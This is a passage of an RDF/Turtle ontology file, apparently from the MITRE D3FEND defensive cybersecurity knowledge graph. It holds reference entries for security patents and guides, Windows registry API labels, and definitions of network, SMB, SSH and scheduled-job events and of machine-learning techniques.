    d3f:kb-reference-of d3f:Application-basedProcessIsolation ;
    d3f:kb-reference-title "Site Isolation Design Document" ;
    d3f:release-date "May 18, 2021" .

d3f:Reference-Intrusion_and_misuse_deterrence_system_employing_a_virtual_network a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Intrusion and misuse deterrence system employing a virtual network" ;
    d3f:has-link "https://patents.google.com/patent/US7240368B1"^^xsd:anyURI ;
    d3f:kb-reference-of d3f:NetworkTrafficSignatureAnalysis ;
    d3f:kb-reference-title "Intrusion and misuse deterrence system employing a virtual network" .

d3f:Reference-LibreNMSDocsOxidizedExtension a d3f:UserManualReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Libre NMS - Oxidized Extension" ;
    d3f:has-link "https://docs.librenms.org/Extensions/Oxidized/"^^xsd:anyURI ;
    d3f:kb-abstract """Integrating LibreNMS with Oxidized brings the following benefits:

* Config viewing: Current, History, and Diffs all under the Configs tab of each device
* Automatic addition of devices to Oxidized: Including filtering and grouping to ease credential management
* Configuration searching""" ;
    d3f:kb-organization "LibreNMS.org" ;
    d3f:kb-reference-of d3f:DiskEncryption ;
    d3f:kb-reference-title "LibreNMSDocs - Oxidized Extension" .

d3f:Reference-RemotelyTriggeredBlackHoleFiltering-Cisco a d3f:AcademicPaperReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Remotely Triggered Black Hole FIltering - Cisco" ;
    d3f:has-link "https://www.cisco.com/c/dam/en_us/about/security/intelligence/blackhole.pdf"^^xsd:anyURI ;
    d3f:kb-organization "Cisco" ;
    d3f:kb-reference-title "Remotely Triggered Black Hole Filtering - Destination Based and Source Based" .

d3f:Reference-Securing_Web_Transactions__TLS_Server_Certificate_Management_Appendix_A_Passive_Inspection a d3f:GuidelineReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Securing Web Transactions TLS Server Certificate Management - Appendix A Passive Inspection" ;
    d3f:has-link "https://www.nccoe.nist.gov/publication/1800-16/VolD/vol-d-appendix.html"^^xsd:anyURI ;
    d3f:kb-abstract "The example implementation demonstrates the ability to perform passive inspection of encrypted TLS connections. The question of whether or not to perform such an inspection is complex. There are important tradeoffs between traffic security and traffic visibility that each organization should consider. Some organizations prefer to decrypt internal TLS traffic, so it can be inspected to detect attacks that may be hiding within encrypted connections. Such inspection can detect intrusion, malware, and fraud, and can conduct troubleshooting, forensics, and performance monitoring. For these organizations, TLS inspection may serve as both a standard practice and a critical component of their threat detection and service assurance strategies." ;
    d3f:kb-author "NIST" ;
    d3f:kb-reference-of d3f:PassiveCertificateAnalysis ;
    d3f:kb-reference-title "Securing Web Transactions TLS Server Certificate Management - Appendix A Passive Inspection" .

d3f:Reference-SystemAndMethodForManagedSecurityAssessmentAndMitigation a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - System and method for managed security assessment and mitigation" ;
    d3f:has-link "https://patents.google.com/patent/US9544324B2"^^xsd:anyURI ;
    d3f:kb-abstract "In an embodiment of the invention, a system for assessing vulnerabilities includes: a security management system; a network device in a system under test (SUT), wherein the network device is privy to traffic in the SUT; and wherein the SMS is privy to traffic that is known by the network device and/or to one or more traffic observations that is known by the network device." ;
    d3f:kb-author "Scott Parcel" ;
    d3f:kb-organization "Cenzic Inc, Trustwave Holdings Inc" ;
    d3f:kb-reference-of d3f:NetworkVulnerabilityAssessment ;
    d3f:kb-reference-title "System and method for managed security assessment and mitigation" .

d3f:Reference-SystemAndMethodsThereofForDetectionOfPersistentThreatsInAComputerizedEnvironmentBackground_PaloAltoNetworksIncCyberSecdoLtd a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - System and methods thereof for detection of persistent threats in a computerized environment background - Palo Alto Networks IncCyber Secdo Ltd" ;
    d3f:has-link "https://patents.google.com/patent/US20170206358A1/en?oq=US-2017206358-A1"^^xsd:anyURI ;
    d3f:kb-abstract "A system is used for detection of advanced persistent and non-persistent threats in a computerized environment. The system is connected to a plurality of user devices coupled to an enterprise's network. The system receives via an interface an electronic notification of at least one event in the operating system of the computer. The system then analyzes the at least one event. The system then generates a causality chain for the at least one event respective of the analysis. The causality chain comprises all the threads that attributed to the at least one event in a chronological order. The system then identifies a main thread that started the causality chain that led to the at least one event. Then, the system determines whether the main thread is associated with malicious software. Upon determination that the main thread is associated with malicious software, the causality chain is marked as infected." ;
    d3f:kb-author "Gil BARAK" ;
    d3f:kb-mitre-analysis "The patent describes detecting malicious events on a host. For each new event (e.x. new file request received from a user device, a change in an existing file in a container) a causality chain is developed for all threads associated with the event. The causality chain identifies the thread that started the process of the event (main thread). If a thread in the causality chain has no parent, i.e. no main thread associated with it, the process is identified as malicious." ;
    d3f:kb-organization "Palo Alto Networks IncCyber Secdo Ltd" ;
    d3f:kb-reference-title "System and methods thereof for detection of persistent threats in a computerized environment background" .

d3f:Reference-TechnicalProductGuideTriconSystems a d3f:UserManualReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Technical Product Guide Tricon Systems" ;
    d3f:has-link "https://www.nrc.gov/docs/ml0932/ml093290424.pdf"^^xsd:anyURI ;
    d3f:kb-abstract "Information in this document is subject to change without notice. Companies, names and data used in examples herein are fictitious unless otherwise noted. No part of this document may be reproduced or transmitted in any form or by any means, electronic or mechanical, for any purpose, without the express written permission of Triconex" ;
    d3f:kb-organization "Rockwell Automation" ;
    d3f:kb-reference-of d3f:DisableRemoteAccess ;
    d3f:kb-reference-title "Technical Product Guide Tricon Systems" .

d3f:Reference-TechniquesForImpedingAndDetectingNetworkThreats_VerisignInc a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Techniques for impeding and detecting network threats - Verisign Inc" ;
    d3f:has-link "https://patents.google.com/patent/US10904273B1/"^^xsd:anyURI ;
    d3f:kb-abstract """Infinite DNS decoy trap resource to catch threats scanning for network resources to attack.

In various embodiments, a name server transmits a canonical name as resolution to another canonical name. In operation, when a resource name is requested for resolution, a determination is made that the resource name corresponds to a trap resource name. A first canonical name is transmitted as resolution to the trap resource name. The first canonical name is requested for resolution, and a second canonical name is transmitted as resolution. By providing trap canonical names as resolutions to trap canonical names, unauthorized software making the resolution requests is kept occupied with requesting resolution of canonical name after canonical name, impeding the ability of the unauthorized software from traversing a network.""" ;
    d3f:kb-author "Ben McCarty, James Graham" ;
    d3f:kb-mitre-analysis "MITRE Analysis was not found." ;
    d3f:kb-organization "Verisign Inc" ;
    d3f:kb-reference-of d3f:DecoyNetworkResource ;
    d3f:kb-reference-title "Techniques for impeding and detecting network threats" .

d3f:Reference-TrustedCommunicationsWithChildProcesses_MicrosoftTechnologyLicensingLLC a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Trusted Communications With Child Processes - Microsoft Technology Licensing LLC" ;
    d3f:has-link "https://patents.google.com/patent/US20120174210A1"^^xsd:anyURI ;
    d3f:kb-abstract "A method to identify a child process to a parent process in an operating system includes obtaining a token and login identifier from the operating system. The parent process creates a remote procedure call communications endpoint to communicate with the child process. Thereafter, a child process is spawned by the parent process. A child-initiated request to communicate with the parent process is then received by the parent process. In order to verify the identity of the child-initiated request, the parent process impersonates the child process and receives as identifier that identifies the requestor child process. The requestor process identifier and the spawned child identifier are compared. Based on the comparison, the parent process responds to the child-initiated request. In another embodiment, process identifiers are used by the parent process to verify the identity of a child process the requests communication with the parent process." ;
    d3f:kb-author "Kedarnath Atmaram Dubhashi, Jonathan D. Schwartz, Sambavi Muthukrishnan, Simon Skaria" ;
    d3f:kb-mitre-analysis "This patent describes a technique for detecting malicious processes that claim to be the child process of a legitimate parent process. During the spawning of a child process, a child process identifier is generated. The child process identifier is a unique identifier that can be used to identify a child process. The child process identifier is transmitted by the security system of the operating system to the parent process. The parent process keeps track of the child process identifier. When a new child-initiated communications request is received by the parent process, the parent process checks if the requesting child process identifier and the child process identifier that the parent process is tracking are the same. If the identifiers are not the same, the parent process refuses the request." ;
    d3f:kb-organization "Microsoft Technology Licensing LLC" ;
    d3f:kb-reference-title "Trusted Communications With Child Processes" .

d3f:Reference-UseRkillToStopMalwareProcesses-Ghacks.net a d3f:TechniqueReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Use Rkill to Stop Malware Processes - ghacks.net" ;
    d3f:has-link "https://www.ghacks.net/2011/07/29/use-rkill-to-stop-malware-processes/"^^xsd:anyURI ;
    d3f:kb-author "Melanie Gross" ;
    d3f:kb-organization "ghacks.net" ;
    d3f:kb-reference-of d3f:ProcessTermination ;
    d3f:kb-reference-title "Use Rkill to Stop Malware Processes" .

d3f:RegOpenKeyA a d3f:GetSystemConfigValue,
        owl:NamedIndividual ;
    rdfs:label "RegOpenKeyA" .

d3f:RegOpenKeyExA a d3f:GetSystemConfigValue,
        owl:NamedIndividual ;
    rdfs:label "RegOpenKeyExA" .

d3f:RegOpenKeyExW a d3f:GetSystemConfigValue,
        owl:NamedIndividual ;
    rdfs:label "RegOpenKeyExW" .

d3f:RegOpenKeyTransactedA a d3f:GetSystemConfigValue,
        owl:NamedIndividual ;
    rdfs:label "RegOpenKeyTransactedA" .

d3f:RegOpenKeyTransactedW a d3f:GetSystemConfigValue,
        owl:NamedIndividual ;
    rdfs:label "RegOpenKeyTransactedW" .

d3f:RegOpenKeyW a d3f:GetSystemConfigValue,
        owl:NamedIndividual ;
    rdfs:label "RegOpenKeyW" .

d3f:RegSetKeyValueA a d3f:SetSystemConfigValue,
        owl:NamedIndividual ;
    rdfs:label "RegSetKeyValueA" .

d3f:RegSetKeyValueW a d3f:SetSystemConfigValue,
        owl:NamedIndividual ;
    rdfs:label "RegSetKeyValueW" .

d3f:RegSetValueA a d3f:SetSystemConfigValue,
        owl:NamedIndividual ;
    rdfs:label "RegSetValueA" .

d3f:RegSetValueExA a d3f:SetSystemConfigValue,
        owl:NamedIndividual ;
    rdfs:label "RegSetValueExA" .

d3f:RegSetValueExW a d3f:SetSystemConfigValue,
        owl:NamedIndividual ;
    rdfs:label "RegSetValueExW" .

d3f:RegSetValueW a d3f:SetSystemConfigValue,
        owl:NamedIndividual ;
    rdfs:label "RegSetValueW" .

d3f:RegexMatching a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Regex Matching" ;
    d3f:d3fend-id "D3A-RM" ;
    d3f:definition "Regular expression matching is type of partial string matching using a regular expression, which is a sequence of characters that specifies a match pattern in text." ;
    d3f:kb-article """## How it works

A regular expression (shortened as regex or regexp) is a sequence of characters that specifies a match pattern in text. Usually such patterns are used by string-searching algorithms for "find" or "find and replace" operations on strings, or for input validation.

## Key Test Considerations

- **External review of regular expressions**: Regular expressions used in rules should be reviewed by a independent developer SME.  Regex testing and visualization tools may be used to aid this review.  Back-tests for failure modes identified during the review shoud be developed.  Regular expressions are easy to get wrong and may appear to work on limited tests; small mistakes can lead to unintended misses and matches.]

- **Processing Performance Review**: Review of resource-intensive rules may be necessary if system performance degraded.  Look for cases of “exponential backtracking”  Some regexes are computationally expensive.

## References
1. Regular expression. (2023, June 1). In _Wikipedia_. [Link](https://en.wikipedia.org/wiki/Regular_expression).
2. String-searching algorithm. (2023, April 8). In _Wikipedia_. [Link](https://en.wikipedia.org/wiki/String-searching_algorithm).""" ;
    d3f:synonym "Regex",
        "Regexp" ;
    rdfs:subClassOf d3f:PartialMatching .

d3f:Relational-basedTransferLearning a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Relational-based Transfer Learning" ;
    d3f:d3fend-id "D3A-RBTL" ;
    d3f:definition "Relational-based Transfer Learning is a subfield of machine learning where knowledge and patterns learned from one domain, characterized by relational and structured data, are transferred to enhance the learning of another related domain. This approach leverages shared concepts, relations, and structures across domains, taking advantage of the rich semantic knowledge within relational data to improve learning performance in the target task." ;
    d3f:kb-article """## References
V7 Labs. (n.d.). Transfer Learning Guide. [Link](https://www.v7labs.com/blog/transfer-learning-guide#:~:text=Relational%2Dbased%20transfer%20learning%20approaches,domain%20to%20the%20target%20domain).""" ;
    rdfs:subClassOf d3f:HomogenousTransferLearning .

d3f:RemoteAuthenticationService a owl:Class ;
    rdfs:label "Remote Authentication Service" ;
    d3f:definition "A remote authentication service provides for the authentication of a user across a network (i.e., remotely)." ;
    rdfs:subClassOf d3f:AuthenticationService,
        d3f:NetworkService .

d3f:RemoteAuthorizationService a owl:Class ;
    rdfs:label "Remote Authorization Service" ;
    d3f:definition "A remote authorization service provides for the authorization of a user across a network (i.e., remotely)." ;
    rdfs:subClassOf d3f:AuthorizationService .

d3f:RemoteDatabaseQuery a owl:Class ;
    rdfs:label "Remote Database Query" ;
    d3f:definition "A remote query session enabling a user to make an SQL, SPARQL, or similar query over the network from one host to another." ;
    rdfs:seeAlso <https://www.sciencedirect.com/topics/computer-science/remote-database-server> ;
    rdfs:subClassOf d3f:DatabaseQuery,
        d3f:RemoteCommand .

d3f:RemoteLoginSession a owl:Class ;
    rdfs:label "Remote Login Session" ;
    d3f:definition "A remote login session is a login session where a client has logged in from their local host machine to a server via a network." ;
    rdfs:subClassOf d3f:NetworkSession .

d3f:RemoteProcedureCall a owl:Class ;
    rdfs:label "Remote Procedure Call" ;
    d3f:definition "In distributed computing a remote procedure call (RPC) is when a computer program causes a procedure (subroutine) to execute in another address space (commonly on another computer on a shared network), which is coded as if it were a normal (local) procedure call, without the programmer explicitly coding the details for the remote interaction. That is, the programmer writes essentially the same code whether the subroutine is local to the executing program, or remote. This is a form of client-server interaction (caller is client, executor is server), typically implemented via a request-response message-passing system. The object-oriented programming analog is remote method invocation (RMI). The RPC model implies a level of location transparency." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Remote_procedure_call> ;
    rdfs:seeAlso <https://schema.ocsf.io/objects/dce_rpc> ;
    rdfs:subClassOf d3f:RemoteCommand .

d3f:RemoteShellCommand a owl:Class ;
    rdfs:label "Remote Shell Command" ;
    d3f:definition "A remote shell command is a command sent from one computer to another to be executed on the remote computer.  One example of this, is through a command-line interface (CLI) like using Invoke-Command from PowerShell or a command sent through an ssh session. This class generalizes to all means of sending a command through an established protocol to control capabilities on a remote computer." ;
    rdfs:seeAlso <https://dbpedia.org/resource/Remote_Shell> ;
    rdfs:subClassOf d3f:RemoteCommand .

d3f:RemoteTerminalSession a owl:Class ;
    rdfs:label "Remote Terminal Session" ;
    d3f:definition "A remote terminal session is a session that provides a user access from one host to another host via a terminal." ;
    rdfs:subClassOf d3f:NetworkSession .

d3f:RemoveUserFromGroupEvent a owl:Class ;
    rdfs:label "Remove User from Group Event" ;
    d3f:definition "An event where a user is removed from a group, revoking the permissions and privileges associated with the group from the user." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:AddUserToGroupEvent ],
        [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:UserAccount ],
        d3f:GroupManagementEvent .

d3f:ResidualNeuralNetwork a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Residual Neural Network" ;
    d3f:d3fend-id "D3A-RNN" ;
    d3f:definition "A residual neural network (ResNet) is an artificial neural network (ANN). It is a gateless or open-gated variant of the HighwayNet, the first working very deep feedforward neural network with hundreds of layers, much deeper than previous neural networks." ;
    d3f:kb-article """## References
Wikipedia contributors. (2021, August 23). Residual neural network. In Wikipedia, The Free Encyclopedia. [Link](https://en.wikipedia.org/wiki/Residual_neural_network)""" ;
    rdfs:subClassOf d3f:ConvolutionalNeuralNetwork .

d3f:RestorationEvent a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Restoration Event" ;
    d3f:definition "An event representing actions to return a compromised system or resource to a trusted operational state, such as through backup restoration, system reinstallation, or repair." ;
    d3f:related d3f:Restore ;
    rdfs:subClassOf d3f:SecurityEvent .

d3f:ReverseProxyServer a owl:Class ;
    rdfs:label "Reverse Proxy Server" ;
    d3f:definition "In computer networks, a reverse proxy is a type of proxy server that retrieves resources on behalf of a client from one or more servers. These resources are then returned to the client, appearing as if they originated from the proxy server itself. Unlike a forward proxy, which is an intermediary for its associated clients to contact any server, a reverse proxy is an intermediary for its associated servers to be contacted by any client. In other words, a proxy acts on behalf of the client(s), while a reverse proxy acts on behalf of the server(s); a reverse proxy is usually an internal-facing proxy used as a 'front-end' to control and protect access to a server on a private network." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Reverse_proxy> ;
    rdfs:subClassOf d3f:ProxyServer .

d3f:RevokePrivilegesFromGroupEvent a owl:Class ;
    rdfs:label "Revoke Privileges from Group Event" ;
    d3f:definition "An event where specific privileges or rights are removed from a group, restricting its members from performing actions or accessing resources previously allowed by those privileges." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:AssignPrivilegesToGroupEvent ],
        d3f:GroupManagementEvent,
        d3f:PermissionRevokingEvent .

d3f:RubyScriptFile a d3f:ExecutableScript,
        owl:NamedIndividual ;
    rdfs:label "Ruby Script File" .

d3f:SARSA a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "SARSA" ;
    d3f:d3fend-id "D3A-SAR" ;
    d3f:definition "State-action-reward-state-action (SARSA) is an algorithm for learning a Markov decision process policy, used in the reinforcement learning area of machine learning." ;
    d3f:kb-article """## References
State-action-reward-state-action. Wikipedia.  [Link](https://en.wikipedia.org/wiki/State%E2%80%93action%E2%80%93reward%E2%80%93state%E2%80%93action).""" ;
    rdfs:isDefinedBy <https://dbpedia.org/page/State%E2%80%93action%E2%80%93reward%E2%80%93state%E2%80%93action> ;
    rdfs:subClassOf d3f:Model-freeReinforcementLearning .

d3f:SMBFileOpenEvent a owl:Class ;
    rdfs:label "SMB File Open Event" ;
    d3f:definition "An event where a file is opened if it exists, failing otherwise. This operation is used to access or query the existing file." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:SMBFileCreateEvent ],
        d3f:SMBEvent .

d3f:SMBFileOpenIfEvent a owl:Class ;
    rdfs:label "SMB File Open If Event" ;
    d3f:definition "An event where a file is opened if it exists, or created if it does not. This operation merges file creation and access behavior." ;
    rdfs:subClassOf d3f:SMBEvent .

d3f:SMBFileOverwriteEvent a owl:Class ;
    rdfs:label "SMB File Overwrite Event" ;
    d3f:definition "An event where a file is opened and truncated if it exists, failing if the file does not already exist. This operation is destructive and focuses on replacing the file's contents." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:SMBFileCreateEvent ],
        d3f:SMBEvent .

d3f:SMBFileOverwriteIfEvent a owl:Class ;
    rdfs:label "SMB File Overwrite If Event" ;
    d3f:definition "An event where a file is opened and truncated if it exists, or created otherwise. This operation combines destructive overwrite and creation behaviors." ;
    rdfs:subClassOf d3f:SMBEvent .

d3f:SMBFileSupersedeEvent a owl:Class ;
    rdfs:label "SMB File Supersede Event" ;
    d3f:definition "An event where a file is overwritten if it exists or created if it does not. This operation combines file creation and modification semantics." ;
    rdfs:subClassOf d3f:SMBEvent .

d3f:SSHConnectionCloseEvent a owl:Class ;
    rdfs:label "SSH Connection Close Event" ;
    d3f:definition "An event indicating the termination of an SSH connection, signaling the end of a secure session." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:SSHConnectionOpenEvent ],
        d3f:NetworkConnectionCloseEvent,
        d3f:SSHEvent .

d3f:SSHConnectionFailEvent a owl:Class ;
    rdfs:label "SSH Connection Fail Event" ;
    d3f:definition "An event indicating a failure to establish an SSH connection, often due to issues such as authentication errors, network timeouts, or server unavailability." ;
    rdfs:subClassOf d3f:NetworkConnectionFailEvent,
        d3f:SSHEvent .

d3f:SSHConnectionRefuseEvent a owl:Class ;
    rdfs:label "SSH Connection Refuse Event" ;
    d3f:definition "An event indicating that an SSH connection attempt was refused, typically due to server-side restrictions or closed ports." ;
    rdfs:subClassOf d3f:NetworkConnectionRefuseEvent,
        d3f:SSHEvent .

d3f:SSHConnectionResetEvent a owl:Class ;
    rdfs:label "SSH Connection Reset Event" ;
    d3f:definition "An event indicating the abrupt termination of an SSH connection due to protocol errors, network disruptions, or administrative actions." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:SSHConnectionOpenEvent ],
        d3f:NetworkConnectionResetEvent,
        d3f:SSHEvent .

d3f:SSHListenEvent a owl:Class ;
    rdfs:label "SSH Listen Event" ;
    d3f:definition "An event indicating that an SSH server has started listening for incoming connection requests, enabling potential clients to initiate secure sessions." ;
    rdfs:subClassOf d3f:NetworkConnectionListenEvent,
        d3f:SSHEvent .

d3f:SavedInstructionPointer a owl:Class ;
    rdfs:label "Saved Instruction Pointer" ;
    d3f:definition "A saved instruction pointer points to the instruction that generated an exception (trap or fault)." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Exception_handling> ;
    rdfs:subClassOf d3f:Pointer,
        d3f:StackComponent .

d3f:ScheduledJobDeletionEvent a owl:Class ;
    rdfs:label "Scheduled Job Deletion Event" ;
    d3f:definition "An event marking the removal of a scheduled task from the system, terminating its execution schedule." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:ScheduledJobCreationEvent ],
        d3f:ScheduledJobEvent .

d3f:ScheduledJobDisableEvent a owl:Class ;
    rdfs:label "Scheduled Job Disable Event" ;
    d3f:definition "An event where a scheduled task is deactivated, preventing further execution until re-enabled." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:ScheduledJobEnableEvent ],
        d3f:ScheduledJobEvent .

d3f:ScheduledJobStartEvent a owl:Class ;
    rdfs:label "Scheduled Job Start Event" ;
    d3f:definition "An event indicating the execution of a scheduled task, triggered either automatically by the scheduler or manually by a user." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:ScheduledJobCreationEvent ],
        d3f:ScheduledJobEvent .

d3f:ScheduledJobUpdateEvent a owl:Class ;
    rdfs:label "Scheduled Job Update Event" ;
    d3f:definition "An event where an existing scheduled task is updated, altering parameters such as timing, conditions, or actions." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:ScheduledJobCreationEvent ],
        d3f:ScheduledJobEvent .

d3f:Scheduling a owl:Class ;
    rdfs:label "Scheduling" ;
    rdfs:subClassOf d3f:Planning .

d3f:Second-stageBootLoader a owl:Class ;
    rdfs:label "Second-stage Boot Loader" ;
    d3f:definition "An optional, often feature rich,  second stage set of routines run in order to load the operating system." ;
    rdfs:subClassOf d3f:BootLoader .

d3f:SecurityArchitects a d3f:TargetAudience,
        owl:NamedIndividual ;
    rdfs:label "Security Architects" .

d3f:Self-organizingMap a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Self-organizing Map" ;
    d3f:d3fend-id "D3A-SOM" ;
    d3f:definition "A Self-Organizing Map (SOM) is a unsupervised learning model in Artificial Neural Network where the feature maps are the generated two-dimensional discretized form of an input space during the model training (based on competitive learning)" ;
    d3f:kb-article """## References
GeeksforGeeks. (n.d.). ANN - Self Organizing Neural Network (SONN). [Link](https://www.geeksforgeeks.org/ann-self-organizing-neural-network-sonn/)""" ;
    rdfs:subClassOf d3f:ANN-basedClustering .

d3f:Semi-supervisedBoosting a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Semi-supervised Boosting" ;
    d3f:d3fend-id "D3A-SSB" ;
    d3f:definition "Boosting methods can be readily extended to the semi-supervised setting, by introducing pseudo-labeled data after each learning step; which gives rise to the idea of semi-supervised boosting methods. The pseudo-labeling approach of self- training and co-training can be easily extended to boosting methods. Several boosting methods such as SSMBoost, ASSEMBLE, SemiBoost, RegBoost, etc can be found which can be applied for utilizing unlabeled datasets for supervised classifiers." ;
    d3f:kb-article """## References
Jashish Shrestha. (n.d.). Beginner's Guide to Semi-Supervised Learning. [Link](http://jashish.com.np/blog/posts/beginners-guide-to-semi-supervised-learning/)""" ;
    rdfs:subClassOf d3f:Semi-supervisedWrapperMethod .

d3f:Semi-supervisedCluster-then-label a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Semi-supervised Cluster-then-label" ;
    d3f:d3fend-id "D3A-SSCTL" ;
    d3f:definition "Pre-training methods are aimed to guide the parameters of a network towards interesting regions in model space using unlabeled data, before fine-tuning the parameters with the labeled data." ;
    d3f:kb-article """## References
Jashish Shrestha. (n.d.). Beginner's Guide to Semi-Supervised Learning. [Link](http://jashish.com.np/blog/posts/beginners-guide-to-semi-supervised-learning/)""" ;
    rdfs:subClassOf d3f:UnsupervisedPreprocessing .

d3f:Semi-supervisedCo-training a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Semi-supervised Co-training" ;
    d3f:d3fend-id "D3A-SSCT" ;
    d3f:definition "Multi-view co-training involves training the classifiers in completely different views of training data. On the other hand, single-view co-training methods are generally applied as ensemble methods." ;
    d3f:kb-article """## References
Jashish Shrestha. (n.d.). Beginner's Guide to Semi-Supervised Learning. [Link](http://jashish.com.np/blog/posts/beginners-guide-to-semi-supervised-learning/)""" ;
    rdfs:subClassOf d3f:Semi-supervisedWrapperMethod .

d3f:Semi-supervisedFeatureExtraction a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Semi-supervised Feature Extraction" ;
    d3f:d3fend-id "D3A-SSFE" ;
    d3f:definition "Feature extraction refers to reducing the number of dimensions in a data point so that it is computationally feasible and effective to learn a model." ;
    d3f:kb-article """## References
Jashish Shrestha. (n.d.). Beginner's Guide to Semi-Supervised Learning. [Link](http://jashish.com.np/blog/posts/beginners-guide-to-semi-supervised-learning/)""" ;
    rdfs:subClassOf d3f:UnsupervisedPreprocessing .

d3f:Semi-supervisedGenerativeModelLearning a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Semi-supervised Generative Model Learning" ;
    d3f:d3fend-id "D3A-SSGML" ;
    d3f:definition "A Semi Supervised Machine Learning model which assume that the distributions take some particular form p(x|y,theta) parameterized by the vector. If these assumptions are incorrect, the unlabeled data may actually decrease the accuracy of the solution relative to what would have been obtained from labeled data alone. However, if the assumptions are correct, then the unlabeled data necessarily improves performance." ;
    d3f:kb-article """## References
Weak supervision. Wikipedia.  [Link](https://en.wikipedia.org/wiki/Weak_supervision#Generative_models).""" ;
    rdfs:subClassOf d3f:IntrinsicallySemi-supervisedLearning .

d3f:Semi-supervisedInductiveLearning a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Semi-supervised Inductive Learning" ;
    d3f:d3fend-id "D3A-SSIL" ;
    d3f:definition "The goal of inductive learning is to infer the correct mapping from X to Y." ;
    d3f:kb-article """## References
Semi-Supervised Learning. Wikipedia.  [Link](https://en.wikipedia.org/wiki/Semi-Supervised_Learning#Semi-supervised_learning).

Zhou, D., & Li, M. (2005). Semi-supervised learning by higher order regularization. In Proceedings of the 43rd Annual Meeting of the Association for Computational Linguistics (ACL) (pp. 1-9).  [Link](https://www.cs.sfu.ca/~anoop/papers/pdf/semisup_naacl.pdf).""" ;
    rdfs:subClassOf d3f:Semi-SupervisedLearning .

d3f:Semi-supervisedManifoldLearning a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Semi-supervised Manifold Learning" ;
    d3f:d3fend-id "D3A-SSML" ;
    d3f:definition "A version of Semi-Supervised Learning that applies the Manifold assumption that the data like approximately on a manifold of much lower dimension than the input space." ;
    d3f:kb-article """## References
Weak supervision. Wikipedia.  [Link](https://en.wikipedia.org/wiki/Weak_supervision#Generative_models).""" ;
    rdfs:subClassOf d3f:IntrinsicallySemi-supervisedLearning .

d3f:Semi-supervisedPre-training a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Semi-supervised Pre-training" ;
    d3f:d3fend-id "D3A-SSPT" ;
    d3f:definition "Pre-training methods are aimed to guide the parameters of a network towards interesting regions in model space using unlabeled data, before fine-tuning the parameters with the labeled data" ;
    d3f:kb-article """## References
Jashish Shrestha. (n.d.). Beginner's Guide to Semi-Supervised Learning. [Link](http://jashish.com.np/blog/posts/beginners-guide-to-semi-supervised-learning/)""" ;
    rdfs:subClassOf d3f:UnsupervisedPreprocessing .

d3f:Semi-supervisedSelf-training a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Semi-supervised Self-training" ;
    d3f:d3fend-id "D3A-SSST" ;
    d3f:definition "Self-training is the procedure in which a supervised method for classification or regression is modified it to work in a semi-supervised manner, taking advantage of labeled and unlabeled data" ;
    d3f:kb-article """## References
AltexSoft. (n.d.). Semi-Supervised Learning: A Technical Guide with Python Examples. [Link](https://www.altexsoft.com/blog/semi-supervised-learning/#:~:text=One%20of%20the%20simplest%20examples,of%20labeled%20and%20unlabeled%20data.)""" ;
    rdfs:subClassOf d3f:Semi-supervisedWrapperMethod .

d3f:SeqGAN a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "SeqGAN" ;
    d3f:d3fend-id "D3A-SEQ" ;
    d3f:definition "Sequence Generation Framework (SeqGAN) models the data generator as a stochastic policy in reinforcement learning (RL), SeqGAN bypasses the generator differentiation problem by directly performing gradient policy update." ;
    d3f:kb-article """## References
Yu, L., Zhang, W., Wang, J., & Yu, Y. (2017). SeqGAN: Sequence Generative Adversarial Nets with Policy Gradient. ArXiv preprint ArXiv:1609.05473. [Link](https://arxiv.org/abs/1609.05473)""" ;
    d3f:synonym "Sequence GAN" ;
    rdfs:subClassOf d3f:GenerativeAdversarialNetwork .

d3f:SerializationFunction a owl:Class ;
    rdfs:label "Serialization Function" ;
    d3f:definition "A function which has an operation that serializes data." ;
    rdfs:subClassOf d3f:Subroutine .

d3f:ServiceDeletionEvent a owl:Class ;
